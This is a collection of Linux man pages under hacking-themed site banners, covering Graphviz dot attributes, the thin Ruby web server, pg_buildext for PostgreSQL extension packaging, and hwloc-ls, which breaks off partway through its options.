**orientation=**f sets the orientation of the first apex of the polygon counterclockwise from the vertical, in degrees. f may be a floating point number. The orientation of labels is not affected by this attribute. This attribute is added to the initial orientation of builtin_polygons.

**distortion=**f sets the amount of broadening of the top and narrowing of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

**skew=**f sets the amount of right‐displacement of the top and left‐displacement of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

(circo‐specific attributes)
**root=**true/false. This specifies that the block containing the given node be treated as the root of the spanning tree in the layout.

(neato‐ and fdp‐specific attributes)
**pin=**val. If val is true, the node will remain at its initial position.

Edge Attributes

**weight=**val where val is the cost of the edge. For dot, weights must be non-negative integers. Values greater than 1 tend to shorten the edge; weight 0 flat edges are ignored for ordering nodes. In twopi, a weight of 0 will cause the edge to be ignored in constructing the underlying spanning tree. For neato and fdp, a heavier weight will put more emphasis on the algorithm achieving an edge length closer to that specified by the edge’s len attribute.

style=solid dashed dotted bold invis

**color=**colorvalue sets the line color for edges.

**color=**colorvaluelist a ‘:’ separated list of colorvalue creates parallel edges, one edge for each color.

dir=forward back both none controls arrow direction.

tailclip,headclip=false disables endpoint shape clipping.

target=“text” is a target string for client‐side imagemaps and SVG, effective when edges have a URL. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tooltip=“text” is a tooltip string for client‐side imagemaps effective when edges have a URL. The tooltip string defaults to be the same as the edge label string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

arrowhead,arrowtail=none, normal, inv, dot, odot, invdot, invodot, tee, empty, invempty, open, halfopen, diamond, odiamond, box, obox, crow. Specifies the shape of the glyph occurring where the edge touches the head or tail node, respectively. Note that this only specifies the shape. The dir attribute determines whether or not the glyph is drawn.

**arrowsize=**val specifies a multiplicative scale factor for the size of the arrowhead. inv_length=6,inv_width=7,dot_radius=2)

**headlabel,taillabel=**text for labels appearing near the head and tail nodes of an edge. labelfontcolor, labelfontname, labelfontsize for head and tail labels. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headhref=“url” sets the url for the head port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headURL=“url” (headURL is a synonym for headhref.)

headtarget=“headtarget” is a target string for client‐side imagemaps and SVG, effective when edge heads have a URL. The headtarget string is used to determine which window of the browser is used for the URL. If the headtarget string is empty, the default, then headtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when head ports have a URL. The tooltip string defaults to be the same as the headlabel string. The substrings ‘\T’, ‘\H’, and ‘’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailhref=“url” sets the url for the tail port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailURL=“url” (tailURL is a synonym for tailhref.)

tailtarget=“tailtarget” is a target string for client‐side imagemaps and SVG, effective when edge tails have a URL. The tailtarget string is used to determine which window of the browser is used for the URL. If the tailtarget string is empty, the default, then tailtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when tail ports have a URL. The tooltip string defaults to be the same as the taillabel string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

labeldistance and labelangle (in degrees CCW) specify the placement of head and tail labels.

decorate draws line from edge to label.

samehead,sametail aim edges having the same value to the same port, using the average landing point.

(dot‐specific attributes)
constraint=false causes an edge to be ignored for rank assignment.

**minlen=**n where n is an integer factor that applies to the edge length (ranks for normal edges, or minimum node separation for flat edges).

xlabel=“text” Edge labels in dot are treated as special types of nodes, with space allocated for them during node layout. This can sometimes deform the edge routing. If an xlabel is used instead, the label is placed after all nodes and edges have been positioned. In turn, this may mean that there is some overlap among the labels.

(neato and fdp‐specific attributes)
**len=**f sets the optimal length of an edge. The default is 1.0.

COMMAND‐LINE OPTIONS

-G sets a default graph attribute.
-N sets a default node attribute.
-E sets a default edge attribute. Example: -Gsize=“7,8” -Nshape=box -Efontsize=8

-lfile loads custom PostScript library files. Usually these define custom shapes or styles. If -l is given by itself, the standard library is omitted.

-Tlang sets the output language as described above.

-n[1|2] (no‐op) If set, neato assumes nodes have already been positioned and all nodes have a pos attribute giving the positions. It then performs an optional adjustment to remove node‐node overlap, depending on the value of the overlap attribute, computes the edge layouts, depending on the value of the splines attribute, and emits the graph in the appropriate format. If num is supplied, the following actions occur:

    num = 1

Equivalent to -n.

    num > 1

Use node positions as specified, with no adjustment to remove node‐node overlaps, and use any edge layouts already specified by the pos attribute. neato computes an edge layout for any edge that does not have a pos attribute. As usual, edge layout is guided by the splines attribute.

-Klayout override the default layout engine implied by the command name.

-O automatically generate output filenames based on the input filename and the -T format.

-P generate a graph of the currently available plugins.

-v (verbose) prints various information useful for debugging.

-c configure plugins.

-m memory test (observe no growth with top, kill when done).

-qlevel set level of message suppression. The default is 1.

-sfscale scale input by fscale, the default is 72.

-y invert y coordinate in output.

-V (version) prints version information and exits.

-? prints the usage and exits.

A complete description of the available command‐line options can be found at https://www.graphviz.org/doc/info/command.html.

EXAMPLES

digraph test123 {
        a -> b -> c;
        a -> {x y};
        b [shape=box];
        c [label="hello\ nworld",color=blue,fontsize=24,
             fontname="Palatino-Italic",fontcolor=red,style=filled];
        a -> z [label="hi", weight=100];
        x -> z [label="multi-line\ nlabel"];
        edge [style=dashed,color=red];
        b -> x;
        {rank=same; b x}
}

graph test123 {
        a -- b -- c;
        a -- {x y};
        x -- c [w=10.0];
        x -- y [w=5.0,len=3];
}

CAVEATS

Edge splines can overlap unintentionally.

Flat edge labels are slightly broken. Intercluster edge labels are totally broken.

Because unconstrained optimization is employed, node boxes can possibly overlap or touch unrelated edges. All existing spring embedders seem to have this limitation.

Apparently reasonable attempts to pin nodes or adjust edge lengths and weights can cause instability.

AUTHORS

Stephen C. North <[email protected]>
Emden R. Gansner <[email protected]>
John C. Ellson <[email protected]>
Yifan Hu <[email protected]>

The bitmap driver (PNG, GIF etc) is by Thomas Boutell, <http://www.boutell.com/gd>

The Truetype font renderer is from the Freetype Project (David Turner, Robert Wilhelm, and Werner Lemberg) (who can be contacted at [email protected]).

SEE ALSO

This man page contains only a small amount of the information related to the Graphviz layout programs. The most complete information can be found at http://www.graphviz.org/Documentation.php, especially in the on‐line reference pages. Most of these documents are also available in the doc and doc/info subtrees in the source and binary distributions.

dotty(1),tcldot(n),xcolors(1),libgraph(3).

E. R. Gansner, S. C. North, K. P. Vo, “DAG ‐ A Program to Draw Directed Graphs”, Software ‐ Practice and Experience 17(1), 1988, pp. 1047‐1062.
E. R. Gansner, E. Koutsofios, S. C. North, K. P. Vo, “A Technique for Drawing Directed Graphs,” IEEE Trans. on Soft. Eng. 19(3), 1993, pp. 214‐230.
S. North and E. Koutsofios, “Applications of graph visualization”, Graphics Interface 94, pp. 234‐245.
E. R. Gansner and E. Koutsofios and S. C. North, “Drawing Graphs with dot,” Available at http://www.graphviz.org/pdf/dotguide.pdf.
S. C. North, “NEATO User’s Manual”. Available http://www.graphviz.org/pdf/neatoguide.pdf.
E. R. Gansner and Y. Hu, “Efficient, Proximity-Preserving Node Overlap Removal”, J. Graph Algorithms Appl., 14(1) pp. 53‐74, 2010.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

100 - Linux cli command thin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command thin and provides detailed information about the command thin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the thin.

NAME 🖥️ thin 🖥️

fast and very simple Ruby web server

SYNOPSIS

thin [options] start|stop|restart|config|install

DESCRIPTION

Server options:

-a, –address HOST
bind to HOST address (default: 0.0.0.0)

-p, –port PORT
use PORT (default: 3000)

-S, –socket FILE
bind to unix domain socket

-y, –swiftiply [KEY]
Run using swiftiply

-A, –adapter NAME
Rack adapter to use (default: autodetect) (rack, rails, ramaze, merb, file)

-R, –rackup FILE
Load a Rack config file instead of Rack adapter

-c, –chdir DIR
Change to dir before starting

–stats PATH
Mount the Stats adapter under PATH

SSL options:

–ssl
Enables SSL

–ssl-key-file PATH
Path to private key

–ssl-cert-file PATH
Path to certificate

–ssl-disable-verify
Disables (optional) client cert requests

–ssl-version VERSION
TLSv1, TLSv1_1, TLSv1_2

–ssl-cipher-list STRING
Example: HIGH:!ADH:!RC4:-MEDIUM:-LOW:-EXP:-CAMELLIA

Adapter options:

-e, –environment ENV
Framework environment (default: development)

–prefix PATH
Mount the app under PATH (start with /)

Daemon options:

-d, –daemonize
Run daemonized in the background

-l, –log FILE
File to redirect output (default: /build/reproducible-path/thin-1.8.1/log/thin.log)

-P, –pid FILE
File to store PID (default: tmp/pids/thin.pid)

-u, –user NAME
User to run daemon as (use with -g)

-g, –group NAME
Group to run daemon as (use with -u)

–tag NAME
Additional text to display in process listing

Cluster options:

-s, –servers NUM
Number of servers to start

-o, –only NUM
Send command to only one server of the cluster

-C, –config FILE
Load options from config file

–all [DIR]
Send command to each config files in DIR

-O, –onebyone
Restart the cluster one by one (only works with restart command)

-w, –wait NUM
Maximum wait time for server to be started in seconds (use with -O)

Tuning options:

-b, –backend CLASS
Backend to use, full classname

-t, –timeout SEC
Request or command timeout in sec (default: 30)

-f, –force
Force the execution of the command

–max-conns NUM
Maximum number of open file descriptors (default: 1024) Might require sudo to set higher than 1024

–max-persistent-conns NUM
Maximum number of persistent connections (default: 100)

–threaded
Call the Rack application in threads [experimental]

–threadpool-size NUM
Sets the size of the EventMachine threadpool. (default: 20)

–no-epoll
Disable the use of epoll

Common options:

-r, –require FILE
require the library

-q, –quiet
Silence all logging

-D, –debug
Enable debug logging

-V, –trace
Set tracing on (log raw request/response)

-h, –help
Show this message

-v, –version
Show version

SEE ALSO

The full documentation for thin is maintained as a Texinfo manual. If the info and thin programs are properly installed at your site, the command

info thin

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

101 - Linux cli command pg_buildext

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_buildext and provides detailed information about the command pg_buildext, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_buildext.

NAME 🖥️ pg_buildext 🖥️

Build and install a PostgreSQL extension

SYNOPSIS

pg_buildext [options] action [src-dir] [arguments]

DESCRIPTION

pg_buildext is a script that will build a PostgreSQL extension in a VPATH way, for potentially several PostgreSQL server versions in parallel. It builds for the intersection of versions known in debian/pgversions (versions supported by the package) and in /usr/share/postgresql-common/supported-versions (versions supported in this release).

Many PostgreSQL extension packages require no special handling at build time and can use dh $@ –with pgxs or dh $@ –with pgxs_loop to automatically execute the steps outlined below.

USAGE

Packages using pg_buildext should be prepared to build binaries for PostgreSQL versions that are not present in Debian unstable, e.g. for older releases when building backports for Debian (old)stable (possibly including backports of newer PostgreSQL releases), or for all PostgreSQL releases when the package is built for apt.postgresql.org.

As the set of binary packages depends on the target PostgreSQL versions, debian/control is generated from a template in debian/control.in when pg_buildext updatecontrol is run. Package sections that contain PGVERSION in the package name are replaced by a list of sections, filling in the supported PostgreSQL versions. Package sections that contain PGVERSION outside the package name have the newest supported PostgreSQL version filled in (useful for meta packages); words containing PGVERSIONS be replaced by a list of words with the supported versions filled in, this is most useful in Build-Depends. Include /usr/share/postgresql-common/pgxs_debian_control.mk in debian/rules to run a check at build time if updating debian/control is required.

As pg_buildext invokes make for the build, install, and clean actions, invocations from debian/rules (which is a makefile) should be prefixed with + so the sub-makes can talk with the make jobserver. Additional makefile variables can be passed to make via the -m option.

Many extensions support make installcheck testing using pg_regress. As this needs the package to be installed, it cannot be run at build time. Instead, the tests should be run using autopkgtest from debian/tests/*.

If debian/tests/control.in exists, occurrences of package names containing PGVERSION are replaced by lists of package names with the target PostgreSQL versions filled in. (If no replacing is needed in debian/tests/control, it is fine to provide the tests control file directly.)

OPTIONS

-cio arg

-s

Passed to pg_virtualenv when running installcheck. These arguments can also be set via the PG_VIRTUALENV_ARGS environment variable.

-m arg
Passed to make.

ACTIONS

Most actions expect a directory name where to build the sources. It will get created for you if it does not exist. If the build-dir contains a %v sign, it will get replaced by the specific version of PostgreSQL being built against. (Usually this parameter is build-%v.)

supported-versions
Print effective list of supported versions, i.e. the intersection of the sets of versions supported by the system (from /usr/share/postgresql-common/supported-versions) and the package (from debian/pgversions). Use this when building packages.

installed-versions
In the list of installed packages, look for packages matching the PGVERSION package name templates from debian/control.in, and print the PostgreSQL major version number part. Use this when testing packages.

checkcontrol
Check if debian/control needs updating from debian/control.in. This is invoked from /usr/share/postgresql-common/pgxs_debian_control.mk. When building for a backports or pgdg suite as determined by debian/changelog, this action also updates the control file. Otherwise, updatecontrol needs to be run manually.

updatecontrol
Update debian/control from debian/control.in, and debian/tests/control from debian/tests/control.in if the latter exists.

configure [src-dir] build-dir [extra-configure-options]
For every supported version, call ../configure from the build-dir directory. (Most PostgreSQL extensions do not have a configure script.)

build [src-dir] build-dir [extra-cflags]
Build the extension in the build-dir directory.

install [src-dir] build-dir package-pattern
Invoke make install from the build-dir directory. The third parameter specifies the package name to use. Most packages use postgresql-%v-pkgname. Make will be called with DESTDIR="$(CURDIR)/debian/package". The dpkg substitution variable postgresql:Depends is set to depend on the required PostgreSQL server package. For compatibility with previous packaging standards, the dependency is also added to misc:Depends if postgresql:Depends is not used.

clean [src-dir] [build-dir] [package-pattern]
Clean the build directories.

loop [src-dir] package-pattern
As a variant to calling build and install separately for VPATH builds, loop over the supported PostgreSQL versions in the top source directory. This should be used if the package does not support VPATH builds. As it also invokes make install, it should be placed were installation happens in debian/rules, rather than where build would normally be called.

installcheck [src-dir] [build-dir] [package-pattern]
Use pg_virtualenv make installcheck to run the extension regression tests. This is meant to be run from debian/tests/control using autopkgtest. If build-dir is omitted, the top source directory is used. If package-pattern is given, options are passed to pg_virtualenv to set up the temporary PostgreSQL instance to find extension files in debian/package-directory/. Other than the other actions which run on the “supported” versions, if debian/control.in exists, this one runs on the “installed” versions as reported by installed-versions (unless package-pattern is provided, which means we are called during a build).

psql [src-dir] [build-dir] [package-pattern]

virtualenv [src-dir] [build-dir] [package-pattern]

Like installcheck, but invokes psql, or a shell, both wrapped in pg_virtualenv. Input is read from stdin.

run [src-dir] command

run_installed [src-dir] command

Runs command, with %v placeholder replaced on all supported versions, or all installed versions, respectively.

Sometimes it is desirable to run extra code per version before invoking the action, in that case the loop over supported versions needs to be in the calling script. To facilitate this mode, actions can also be called as action**-**version. See the installcheck example below.

SUPPORTED VERSIONS

pg_buildext reads debian/pgversions to decide which PostgreSQL to build modules/extensions for. This file contains one PostgreSQL version number per line, in the following formats:

all
Support all versions. This is recommended unless there are known incompatibilities.

NN
Support this version.

NN+
Support this and all greater versions.

  1. Comment.

For a version to be used, it must also be listed in the output of /usr/share/postgresql-common/supported-versions. See this file for how to configure the list of supported versions on your system.

EXAMPLE

debian/control.in:
Source: postgresql-foobar Rules-Requires-Root: no Build-Depends: debhelper, postgresql-all <!nocheck>, postgresql-server-dev-all (>= 217~), Package: postgresql-PGVERSION-foobar Architecture: any Depends: ${misc:Depends}, ${postgresql:Depends}, ${shlibs:Depends},

debian/pgversions:
all # alternatives: #9.6 #11+

debian/rules using dh $@ –with pgxs:
#!/usr/bin/make -f override_dh_installdocs: dh_installdocs –all README.* %: dh $@ –with pgxs

If the package does no support building from subdirectories, use dh $@ –with pgxs_loop:
#!/usr/bin/make -f %: dh $@ –with pgxs_loop

If the package does not use PGXS’s “make installcheck” for testing:
override_dh_pgxs_test:

debian/rules using pg_buildext directly:
#!/usr/bin/make -f include /usr/share/postgresql-common/pgxs_debian_control.mk # omit this if the package does not use autoconf override_dh_auto_configure: +pg_buildext configure build-%v “–libdir=/usr/lib/postgresql/%v/lib –datadir=/usr/share/postgresql-%v-foobar” override_dh_auto_build: +pg_buildext build build-%v override_dh_auto_test: # nothing to do here, see debian/tests/* instead override_dh_auto_install: +pg_buildext install build-%v postgresql-%v-foobar override_dh_installdocs: dh_installdocs –all README.* override_dh_pgxs_test: +pg_buildext installcheck . build-%v postgresql-%v-foobar override_dh_auto_clean: +pg_buildext clean build-%v %: dh $@

debian/tests/control:
Depends: @, postgresql-server-dev-all Tests: installcheck Restrictions: allow-stderr

debian/tests/control.in: (optional)
Depends: @, postgresql-contrib-PGVERSION, postgresql-PGVERSION-bar Tests: installcheck Restrictions: allow-stderr

debian/tests/installcheck:
#!/bin/sh pg_buildext installcheck # alternatively: pg_buildext installcheck build-%v # Running extra code before invoking the actual action: set -e for v in $(pg_buildext installed-versions); do test -L build-$v/sql || ln -s ../sql build-$v/ test -L build-$v/expected || ln -s ../expected build-$v/ pg_buildext installcheck-$v build-$v done

SOURCE DIRECTORY

If the package source code is not in the top level directory (i.e. the directory which has debian/ as subdirectory), use the src-dir argument, where src-dir must be an absolute path. Example:

override_dh_auto_build: +pg_buildext build $(CURDIR)/postgresql-module build-%v

COMPATIBILITY

pg_buildext loop was introduced in postgresql-server-dev-all (>= 141~).

The usage of “all” or “NN+” in debian/pgversions was introduced in postgresql-server-dev-all (>= 148~).

pg_buildext installcheck was introduced in postgresql-server-dev-all (>= 153~).

PG_VIRTUALENV_UNSHARE=-n was introduced in postgresql-common (>= 170~).

Handling of debian/tests/control.in with PGVERSION replacement was introduced in postgresql-common (>= 171~).

The action installed-versions was introduced in postgresql-common (>= 208~). installcheck was switched to use it in the same version.

dh $@ –with pgxs and pgxs_loop, the corresponding –buildsystem, and the psql and virtualenv actions were introduced in postgresql-server-dev-all (>= 217~).

The replacement of PGVERSIONS (plural) in debian/control.in and pg_buildext run and run_installed were introduced in postgresql-common (>= 256~).

Setting pg_virtualenv arguments from PG_VIRTUALENV_ARGS was introduced in postgresql-common (>= 259~).

SEE ALSO

/usr/share/postgresql-common/supported-versions, autopkgtest (1), pg_virtualenv (1).

AUTHORS

Dimitri Fontaine <[email protected]>, with extensions by Christoph Berg <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

102 - Linux cli command hwloc-ls

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-ls and provides detailed information about the command hwloc-ls, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-ls.

NAME 🖥️ hwloc-ls 🖥️

no-graphics, hwloc-ls - Show the topology of the system

SYNOPSIS

lstopo [ options ]… [ filename ]

lstopo-no-graphics [ options ]… [ filename ]

hwloc-ls [ options ]… [ filename ]

Note that hwloc(7) provides a detailed explanation of the hwloc system; it should be read before reading this man page

OPTIONS

–of <format>, –output-format <format>
Enforce the output in the given format. See the OUTPUT FORMATS section below.

-i <path>, –input <path>
Read the topology from <path> instead of discovering the topology of the local machine.

If <path> is a file, it may be a XML file exported by a previous hwloc program. If <path> is “-”, the standard input may be used as a XML file.

On Linux, <path> may be a directory containing the topology files gathered from another machine topology with hwloc-gather-topology.

On x86, <path> may be a directory containing a cpuid dump gathered with hwloc-gather-cpuid.

When the archivemount program is available, <path> may also be a tarball containing such Linux or x86 topology files.

-i <specification>, –input <specification>
Simulate a fake hierarchy (instead of discovering the topology on the local machine). If <specification> is “node:2 pu:3”, the topology will contain two NUMA nodes with 3 processing units in each of them. The <specification> string must end with a number of PUs.

–if <format>, –input-format <format>
Enforce the input in the given format, among xml, fsroot, cpuid and synthetic.

–export-xml-flags <flags>
Enforce flags when exporting to the XML format. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_export_xml(). Those names may be substrings of actual flag names as long as a single one matches. A value of 1 (or v1) reverts to the format of hwloc v1.x. The default is 0 (or none).

–export-synthetic-flags <flags>
Enforce flags when exporting to the synthetic format. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_export_synthetic(). Those names may be substrings of actual flag names as long as a single one matches. A value of 2 (or no_attr) reverts to the format of hwloc v1.9. A value of 3 (or no_ext,no_attr) reverts to the original minimalistic format (before v1.9). The default is 0 (or none).

-v –verbose
Include additional detail. The hwloc-info tool may be used to display even more information about specific objects.

-q –quiet -s –silent
Reduce the amount of details to show.

–distances
Only display distance matrices.

–distances-transform <links|merge-switch-ports|transitive-closure>
Try applying a transformation to distances structures before displaying them. See hwloc_distances_transform() for details. More transformations may be applied using hwloc-annotate(1) (and it may save their output to XML).

–memattrs
Only display memory attributes. All of them are displayed (while the default textual output selects memory attribute details depending on the verbosity level).

–cpukinds
Only display CPU kinds. CPU kinds are displayed in order, starting from the most energy efficient ones up to the rather higher performance and power hungry ones.

–windows-processor-groups
On Windows, only show information about processor groups. All of them are displayed, while the default verbose output only shows them if there are more than one.

-f –force
If the destination file already exists, overwrite it.

-l –logical
Display hwloc logical indexes of all objects, with prefix “L#”. By default, both logical and physical/OS indexes are displayed for PUs and NUMA nodes, logical only for cores, dies and packages, and no index for other types.

-p –physical
Display OS/physical indexes of all objects, with prefix “P#”. By default, both logical and physical/OS indexes are displayed for PUs and NUMA nodes, logical only for cores, dies and packages, and no index for other types.

–logical-index-prefix <prefix>
Replace " L#" with the given prefix for logical indexes.

–os-index-prefix <prefix>
Replace " P#" with the given prefix for physical/OS indexes.

-c –cpuset
Display the cpuset of each object.

-C –cpuset-only
Only display the cpuset of each object; do not display anything else about the object.

–cpuset-output-format <hwloc|list|taskset> –cof <hwloc|list|taskset>
Change the format of displayed CPU set strings. By default, the hwloc-specific format is used. If list is given, the output is a comma-separated of numbers or ranges, e.g. 2,4-5,8 . If taskset is given, output cpusets are compatible with the taskset program (replaces the former –taskset option).

This option should be combined with –cpuset or –cpuset-only, otherwise it will imply –cpuset.

–only <type>
Only show objects of the given type in the textual output.

<type> may contain a filter to select specific objects among the type. For instance –only NUMA[HBM] only shows NUMA nodes marked with subtype “HBM”, while –only “numa[mcdram]” only shows MCDRAM NUMA nodes on KNL.

–filter <type>:<kind>, –filter <type>
Filter objects of type <type>, or of any type if <type> is “all”. “io”, “cache” and “icache” are also supported.

<kind> specifies the filtering behavior. If “none” or not specified, all objects of the given type are removed. If “all”, all objects are kept as usual. If “structure”, objects are kept when they bring structure to the topology. If “important” (only applicable to I/O), only important objects are kept. See hwloc_topology_set_type_filter() for more details.

hwloc supports filtering any type except PUs and NUMA nodes. lstopo also offers PU and NUMA node filtering by hiding them in the graphical and textual outputs, but any object included in them (for instance Misc) will be hidden as well. Note that PUs and NUMA nodes may not be ignored in the XML output. Note also that the top-level object type cannot be ignored (usually Machine or System).

–ignore <type>
This is the old way to specify –filter <type>:none.

–no-smt
Ignore PUs. This is identical to –filter PU:none.

–no-caches
Do not show caches. This is identical to –filter cache:none.

–no-useless-caches
This is identical to –filter cache:structure.

–no-icaches
This is identical to –filter icache:none.

–disallowed
Include objects disallowed by administrative limitations (e.g Cgroups on Linux). Offline PUs and NUMA nodes are still ignored.

–allow <all|local|0xff|nodeset=0xf0>
Include objects disallowed by administrative limitations (implies –disallowed) and also change the set of allowed ones.

If local is given, only objects available to the current process are allowed (default behavior when loading from the native operating system backend). It may be useful if the topology was created by another process (with different administrative restrictions such as Linux Cgroups) and loaded here loaded from XML or synthetic. This case implies –thissystem.

If all, all objects are allowed.

If a bitmap is given as a hexadecimal string, it is used as the set of allowed PUs.

If a bitmap is given after prefix nodeset=, it is the set of allowed NUMA nodes.

–flags <flags>
Enforce topology flags. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_set_flags(). Those names may be substrings of actual flag names as long as a single one matches, for instance disallowed,thissystem_allowed. The default is 8 (or import).

–merge
Do not show levels that do not have a hierarchical impact. This sets HWLOC_TYPE_FILTER_KEEP_STRUCTURE for all object types. This is identical to –filter all:structure.

–no-factorize –no-factorize=<type>
Never factorize identical objects in the graphical output.

If an object type is given, only factorizing of these objects is disabled. This only applies to normal CPU-side objects, it is independent from PCI collapsing.

–factorize –factorize=[<type>,]<N>[,<L>[,<F>]
Factorize identical children in the graphical output (enabled by default).

If <N> is specified (4 by default), factorizing only occurs when there are strictly more than N identical children. If <L> and <F> are specified, they set the numbers of first and last children to keep after factorizing.

If an object type is given, only factorizing of these objects is configured. This only applies to normal CPU-side object, it is independent from PCI collapsing.

–no-collapse
Do not collapse identical PCI devices. By default, identical sibling PCI devices (such as many virtual functions inside a single physical device) are collapsed.

–no-cpukinds
Do not show different kinds of CPUs in the graphical output. By default, when supported, different types of lines, thickness and bold font may be used to display PU boxes of different kinds.

–restrict <cpuset>
Restrict the topology to the given cpuset. This removes some PUs and their now-child-less parents.

Beware that restricting the PUs in a topology may change the logical indexes of many objects, including NUMA nodes.

–restrict nodeset=<nodeset>
Restrict the topology to the given nodeset. (unless –restrict-flags specifies something different). This removes some NUMA nodes and their now-child-less parents.

Beware that restricting the NUMA nodes in a topology may change the logical indexes of many objects, including PUs.

–restrict binding
Restrict the topology to the current process binding. This option requires the use of the actual current machine topology (or any other topology with –thissystem or with HWLOC_THISSYSTEM set to 1 in the environment).

Beware that restricting the topology may change the logical indexes of many objects, including PUs and NUMA nodes.

–restrict-flags <flags>
Enforce flags when restricting the topology. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_restrict(). Those names may be substrings of actual flag names as long as a single one matches, for instance bynodeset,memless. The default is 0 (or none).

–no-io
Do not show any I/O device or bridge. This is identical to –filter io:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–no-bridges
Do not show any I/O bridge except hostbridges. This is identical to –filter bridge:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–whole-io
Show all I/O devices and bridges. This is identical to –filter io:all. By default, only common devices (GPUs, NICs, block devices, …) and interesting bridges/switches are shown.

–thissystem
Assume that the selected backend provides the topology for the system on which we are running. This is useful when loading a custom topology such as an XML file and using –restrict binding or –allow all.

–pid <pid>
